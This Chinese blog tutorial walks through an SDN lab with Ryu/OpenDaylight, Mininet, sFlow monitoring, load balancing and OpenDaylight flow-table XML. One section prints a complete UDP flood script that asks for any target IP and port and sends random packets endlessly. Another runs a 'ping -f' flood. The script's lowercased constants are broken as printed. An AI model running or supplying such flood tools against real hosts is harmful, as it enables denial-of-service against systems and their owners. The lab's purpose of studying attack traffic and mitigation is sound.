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锦城软件定义网络实验（DDOS攻击-负载均衡-可视化分析实验）

2024年08月06日 • stm32 •我要评论
Ryu/Opendaylight+mininet+sflow(网络监视技术)+Apifox/postman(REST API流表控制工具) 
1 实验环境部署
1.1 mininet安装
（1）git mininet安装包：git clone https://github.com/mininet/mininet
（2）打开下载后的源码:cd  mininet
（3）安装mininet仿真器：python=python3 util/install.sh -a
（4）运行mininet软件：./mininet/examples/miniedit.py
1.2 控制器安装
1.2.1 ryu
（1）git下载ryu源码：git clone https://github.com/osrg/ryu.git
（2）打开下载的软件：cd ryu
（3）安装所需包：sudo pip3 install -r tools/pip-requires
（4）安装ryu：sudo python3 setup.py install
（5）启动ryu控制器(注意openflow的协议)：
	cd /ryu/ryu/app	
	ryu-manager ofctl_rest.py simple_switch_13.py
1.2.2 opendaylight控制器安装
(1)安装jdk:sudo apt-get install openjdk-8-jdk
(2)安装之后需要查看jdk的安装路径，以便下一步设置java环境变量时使用：cd /usr/lib/jvm
(3)配置java环境变量:sudo vim /etc/environment
(4)配置完成之后重启系统;
(5)git opendaylight安装包：
wget https://nexus.opendaylight.org/content/groups/public/org/opendaylight/integration/distribution-karaf/0.6.4-carbon/distribution-karaf-0.6.4-carbon.tar.gz
（6）解压git下载的源文件：
sudo tar -zxvf distribution-karaf-0.6.4-carbon.tar.gz
（7）修改配置文件：cd distribution-karaf-0.6.4-carbon/etc
sudo vim org.apache.karaf.management.cfg
(8)启动karaf:cd distribution-karaf-0.6.4-carbon/ebin/
   		 sudo ./karaf
（9）配置可视化界面（安装feature）：
注意，以下命令均是在opendaylight的命令行下运行的。
    ①安装支持rest api的组件
    feature:install odl-restconf
    ②安装l2 switch插件
    feature:install odl-l2switch-switch-ui
    ③安装用户界面服务
    feature:install odl-openflowplugin-flow-services-ui
    ④安装api查看器
    feature:install odl-mdsal-apidocs
    ⑤安装dlux展示页面
    feature:install odl-dluxapps-applications
    ⑥添加与函数服务相关的支持和管理功能
    feature:install odl-faas-all
（10）启动opendaylight控制器：sudo ./karaf 
（11）打开web页面：http://虚拟ip:8080/index.html登录opendaylight管理界面，登录的用户名和密码均为admim（虚拟机ip通过ip addr命令查看）。
1.3 抓包工具wireshark安装
（1）安装wireshark：sudo apt-get install wireshark
 (2)启动wireshark:sudo wireshark
1.4监控软件sflow 安装
（1）git sflow源码：wget http://www.inmon.com/products/sflow-rt/sflow-rt.tar.gz
（2）解压sflow-rt安装包：tar -zxvf sflow-rt.tar.gz
（3）进入sflow-rt：cd sflow-rt
（4）启动：./start.sh
1.5 配置sflow agent
（1）安装web工具curl：sudo apt-get install curl
（2）配置sflow agent：
sudo ovs-vsctl -- -- id=@sflow create sflow agent=s1-eth0 target=\"127.0.0.1:6343\" sampling=10 polling=20 -- -- set bridge s1 sflow=@sflow
上述命令的主要意思如下：
	1）agent：监控s1-eth0 网卡产生的流量；s1-eth0是为s1创建的端口；
	2）target：sflow-rt的ip，默认端口6343；
	3）bridge：需要开启sflow的网桥；
	4）sampling：采样率，表示每隔n个packet就取样一次
	5）polling：轮询时间，每隔n秒polling一次
（3）查看已经配置的sflow agent信息：sudo ovs-vsctl list sflow
（4）查看虚拟交换机端口与端口编号的映射：ip link
（5）在web界面查看sflow agent是否配置成功：http://127.0.0.1: 8008/html/index.html
（6）启动sflow app，查看流量信息
sflow-app:get-app.sh sflow-rt flow-trend
（7）将之前的sflow重新启动，点击sflow中apps或者：浏览器访问：http://localhost:8008/app/flow-trend/html/index.html
1.6 流表分析工具apifox（postman）安装
(1)安装包：
（2）软件安装：sudo dpkg -i apifox_2.4.5_amd64.deb
（3）双击打开apifox软件；
2 实验步骤
2.1 实验所需要的文件包（python语言）
2.2 控制器启动
1.3 mininet拓扑下发
（1）将1.1章节的包拷贝到虚拟机；https://download.csdn.net/download/m0_48669897/89087133?spm=1001.2014.3001.5503
（2）增加权限：chmod 777 文件包名称
（3）启动拓扑：sudo mn --custom mytopo.py --topo mytopo --controller remote -x --switch ovsk,protocols=openflow13
（4）查看各个节点及链路信息；
（5）pingall
(6)在控制器中查看拓扑是否运行成功；
1.4 打开sflow流量监控软件
（1）启动监控软件，下发对应交换机的配置见4.5章节；
（2）连接到sflow app,在keys列选择：ipsource,ipdestination,stack，在value列选择bytes ，点击右面的 submit提交，然后将自动转到图形化流量监控页面
1.5 mininet终端中做如下操作
（1）打开host1，和host2的终端: xterm h1 h2
（2）在host1窗口下启动http服务：python -m http.server 80&
（3）在host2窗口下：curl http://host1:80
（4）在host2窗口下：ping host1
（5）在sflow app页面中观察流量走向；
（6）ddos模拟攻击，在mininet终端中执行，h2 ping -f h1
（7）在sflow app页面中观察流量走向；
（8）运行抓包工具,抓取对应网卡的包查看报文信息；
1.6 运行ddos脚本，模拟攻击
（1）脚本文件：
（2）运行ddos脚本，模拟攻击；
'''
# -*- coding:utf-8 -*-
#python 3
import sys
import os
import time
import socket
import random
##############
sock = socket.socket(socket.af_inet, socket.sock_dgram)
bytes = random._urandom(1490)
#############
#os.system("clear")
os.system("figlet ddos attack")
print (" ")
print ("/---------------------------------------------------\ ")
print ("|   author        : mineshin                        |")
print ("|   gitee         : https://gitee.com/mineshin      |")
print ("|   qq            : 548343523                       |")
print ("\---------------------------------------------------/")
print (" ")
ip = input("攻击目标ip: ")
port = int(input("攻击端口: "))
sd = int(input("攻击频率(1~1000): "))

os.system("clear")
print("攻击正在启动...")
time.sleep(5)
os.system("clear")

sent = 0
while true:
     sock.sendto(bytes, (ip,port))
     sent = sent + 1
     print ("sent %s packets to %s port %d"%(sent,ip,port))
     time.sleep((1000-sd)/2000)
'''
（3）在sflow app页面中观察流量走向；
（4）运行抓包工具,抓取对应网卡的包查看报文信息；
1.7 运行负载均衡的代码，寻找最优路径
（1）开启三个终端，运行如下脚本：
    sudo python3 controllers1.py
    sudo python3 controllers2.py
    sudo python3 controllers3.py
（2）外部模拟攻击：
    在mininet自带cli中运行：h2 python3 traffic.py
（3）通过web页面查看监控信息
（4）运行抓包工具,分析三次握手的原理及流程；
（5）攻击之后查看结果；
1.8 运行django文件，查看可视化信息
（1）在sdn_site路径下运行：sudo python3 manage.py runserver
（2）安装缺失的库文件：pip/pip3 install 缺失的库文件；
（3）访问127.0.0.1:8000即可查看流量分析界面
（4）通过项目的数据分析工具，可以发现，项目流量生成工具发送的流量被尽力均衡地分配给了四个服务器，但是，由于负载均衡计算以及上传的延迟，存在一定误差，在流量更大的情况下，负载均衡效果会更加明显。
（5）django后端页面展示；
（6）前端页面链路信息查看；
1.9 通过apifox下发流表信息
1.9.1 在odl界面查看流表下发路径
（1）打开odl的web页面，在topology页面或者nodes页面中可以查看node信息；
（2）流表下发配置路径：yang ui>opendaylight-inventory>config>nodes>table>flow
node/openflow:1 交换机编号
	table/0 流表编号
	flow/不超过1024，流表项编号
（3）展开flow-list填写流表下发信息
flow/不超过1024，不冲突即可 流表项编号
			•match fields:它们由入口端口和包头组成以及以及前一个表指定的元数据组成。
			•priority:流表项的匹配优先级
			•countres:更新匹配的数据包
			•instructions:修改动作集或流水线处理的说明
			•timeout:交换机流匹配最大计数时间和流有效时间
				idle_time 匹配流表的最大计数时间
				hard_time 下发流表后有效时间
			•cookie:控制器选择的不透明数据值。控制器可以用来过滤流量统计、流修改和流删除信息，处理报文时不使用。                        
（4）请求方式为get,表单填写完成后，点击send发送；
1.9.2 在apifox界面下发流表信息
（此处流表信息已经在脚本中写了，下发时，http请求为201时即算成功）
（1）首先进入apifox，利用get操作可以获得已有的流表：
请求方式1：http://192.168.137.143:8080/restconf/operational/network-topology:network-topology
请求方式2：odl的web访问界面；
实验结果：返回200即可成功，数据格式可以自定义；
（2）完成身份认证并解密admin：
请求方式为get：
basic auth页签，username字段填写admin，password字段填写admin完成认证。
（3）put请求配置header文件,完成身份认证（此处配置的格式为xml，认证密码填写被hash解析过的）；
（4）填写body文件：
流表：匹配源mac(host1)为mac地址，目的mac(host2)为mac的流量，出port为2(端口号在拓扑看)。
“body”中选择“raw”，格式为xml（application/xml），并填写如下消息体：
（5）send 发送下发流表，在mininet下查找流表。
（6）下发后的流表可以删除，选择删除的请求方式即可删除；
'''
#流表下发配置
l2层流表下发
	1.填写body：流表：匹配源mac(host1)为########，目的mac(host2)为########的流量，出端口为？？？。
		“body”中选择“raw”，格式为xml（application/xml），并填写如下消息体：
			<?xml version="1.0" encoding="utf-8" standalone="no"?>
			<flow xmlns="urn:opendaylight:flow:inventory">
			<priority>200</priority>
			<flow-name>foo1</flow-name>
			<idle-timeout>0</idle-timeout>
			<hard-timeout>0</hard-timeout>
			<match>
			<ethernet-match>
			<ethernet-source>
			<address>mac-source</address>
			</ethernet-source>
			<ethernet-destination>
			<address>mac-destination</address>
			</ethernet-destination>
			</ethernet-match>
			</match>
			<id>107</id>
			<table_id>0</table_id>
			<instructions>
			<instruction>
			<order>0</order>
			<apply-actions>
			<action>
			<order>0</order>
			<output-action>
			<output-node-connector>出端口</output-node-connector>
			</output-action>
			</action>
			</apply-actions>
			</instruction>
			</instructions>
			</flow>
	2.流表：匹配源mac(host2)为42:30:90:5d:df:02的流量，目的mac(host1)为7e:24:bb:47:6f:58，出端口为1。
		“body”中选择“raw”，格式为xml（application/xml），并填写如下消息体：
			<?xml version="1.0" encoding="utf-8" standalone="no"?>
			<flow xmlns="urn:opendaylight:flow:inventory">
			<priority>200</priority>
			<flow-name>foo1</flow-name>
			<idle-timeout>0</idle-timeout>
			<hard-timeout>0</hard-timeout>
			<match>
			<ethernet-match>
			<ethernet-source>
			<address>mac-source</address>
			</ethernet-source>
			<ethernet-destination>
			<address>mac-destination</address>
			</ethernet-destination>
			</ethernet-match>
			</match>
			<id>108</id>
			<table_id>0</table_id>
			<instructions>
			<instruction>
			<order>0</order>
			<apply-actions>
			<action>
			<order>0</order>
			<output-action>
			<output-node-connector>1</output-node-connector>
			</output-action>
			</action>
			</apply-actions>
			</instruction>
			</instructions>
			</flow>
			
l3层流表下发
l3层对应osi模型的三层，三层流表主要匹配的是ip包的协议类型和ip地址。
	“body”中选择“raw”，格式为xml（application/xml）
		流表：匹配源ip地址为ip-source/mask的报文，并将其转发到x端口
		匹配源ip地址为ip-source/mask的报文，并将其转发到x端口。
			<?xml version="1.0" encoding="utf-8" standalone="no"?>
			<flow xmlns="urn:opendaylight:flow:inventory">
			<priority>200</priority>
			<flow-name>foo1</flow-name>
			<idle-timeout>0</idle-timeout>
			<hard-timeout>0</hard-timeout>
			<match>
			<ethernet-match>
			<ethernet-type>
			<type>2048</type>
			</ethernet-type>
			</ethernet-match>
			<ipv4-source>ip-source/mask</ipv4-source>
			</match>
			<id>111</id>
			<table_id>0</table_id>
			<instructions>
			<instruction>
			<order>0</order>
			<apply-actions>
			<action>
			<order>0</order>
			<output-action>
			<output-node-connector>2</output-node-connector>
			</output-action>
			</action>
			</apply-actions>
			</instruction>
			</instructions>
			</flow>

	“body”中选择“raw”，格式为xml（application/xml）
		流表：下发arp匹配流表
			<?xml version="1.0" encoding="utf-8" standalone="no"?>
			<flow xmlns="urn:opendaylight:flow:inventory">
			<priority>200</priority>
			<flow-name>foo1</flow-name>
			<idle-timeout>0</idle-timeout>
			<hard-timeout>0</hard-timeout>
			<match>
			<ethernet-match>
			<ethernet-type>
			<type>2054</type>
			</ethernet-type>
			</ethernet-match>
			</match>
			<id>113</id>
			<table_id>0</table_id>
			<instructions>
			<instruction>
			<order>0</order>
			<apply-actions>
			<action>
			<order>0</order>
			<output-action>
			<output-node-connector>normal</output-node-connector>
			<max-length>0</max-length>
			</output-action>
			</action>
			</apply-actions>
			</instruction>
			</instructions>
			</flow>

l4层流表下发
	l4对应的osi模型中的四层，即流表对应的tcp/udp源端口（tcp/udp src port）、tcp/udp目的端口号（tcp/udp dst port）字段。本实验匹配tcp目的端口
	“body”中选择“raw”，格式为xml（application/xml）
		匹配到目的ip地址为ipv4-destination/mask且目的端口为5001的tcp报文，将其转发到2端口
			<?xml version="1.0" encoding="utf-8" standalone="no"?>
			<flow xmlns="urn:opendaylight:flow:inventory">
			<priority>200</priority>
			<flow-name>foo1</flow-name>
			<idle-timeout>0</idle-timeout>
			<hard-timeout>0</hard-timeout>
			<match>
			<tcp-destination-port>5001</tcp-destination-port>
			<ethernet-match>
			<ethernet-type>
			<type>2048</type>
			</ethernet-type>
			</ethernet-match>
			<ipv4-destination>ipv4-destination/mask</ipv4-destination>
			<ip-match>
			<ip-protocol>6</ip-protocol>
			</ip-match>
			</match>
			<id>117</id>
			<table_id>0</table_id>
			<instructions>
			<instruction>
			<order>0</order>
			<apply-actions>
			<action>
			<order>0</order>
			<output-action>
			<output-node-connector>2</output-node-connector>
			</output-action>
			</action>
			</apply-actions>
			</instruction>
			</instructions>
			</flow>

	“body”中选择“raw”，格式为xml（application/xml）
		流表：下发arp匹配流表。
			<?xml version="1.0" encoding="utf-8" standalone="no"?>
			<flow xmlns="urn:opendaylight:flow:inventory">
			<priority>200</priority>
			<flow-name>foo1</flow-name>
			<idle-timeout>0</idle-timeout>
			<hard-timeout>0</hard-timeout>
			<match>
			<ethernet-match>
			<ethernet-type>
			<type>2054</type>
			</ethernet-type>
			</ethernet-match>
			</match>
			<id>119</id>
			<table_id>0</table_id>
			<instructions>
			<instruction>
			<order>0</order>
			<apply-actions>
			<action>
			<order>0</order>
			<output-action>
			<output-node-connector>flood</output-node-connector>
			<max-length>0</max-length>
			</output-action>
			</action>
			</apply-actions>
			</instruction>
			</instructions>
			</flow>
'''

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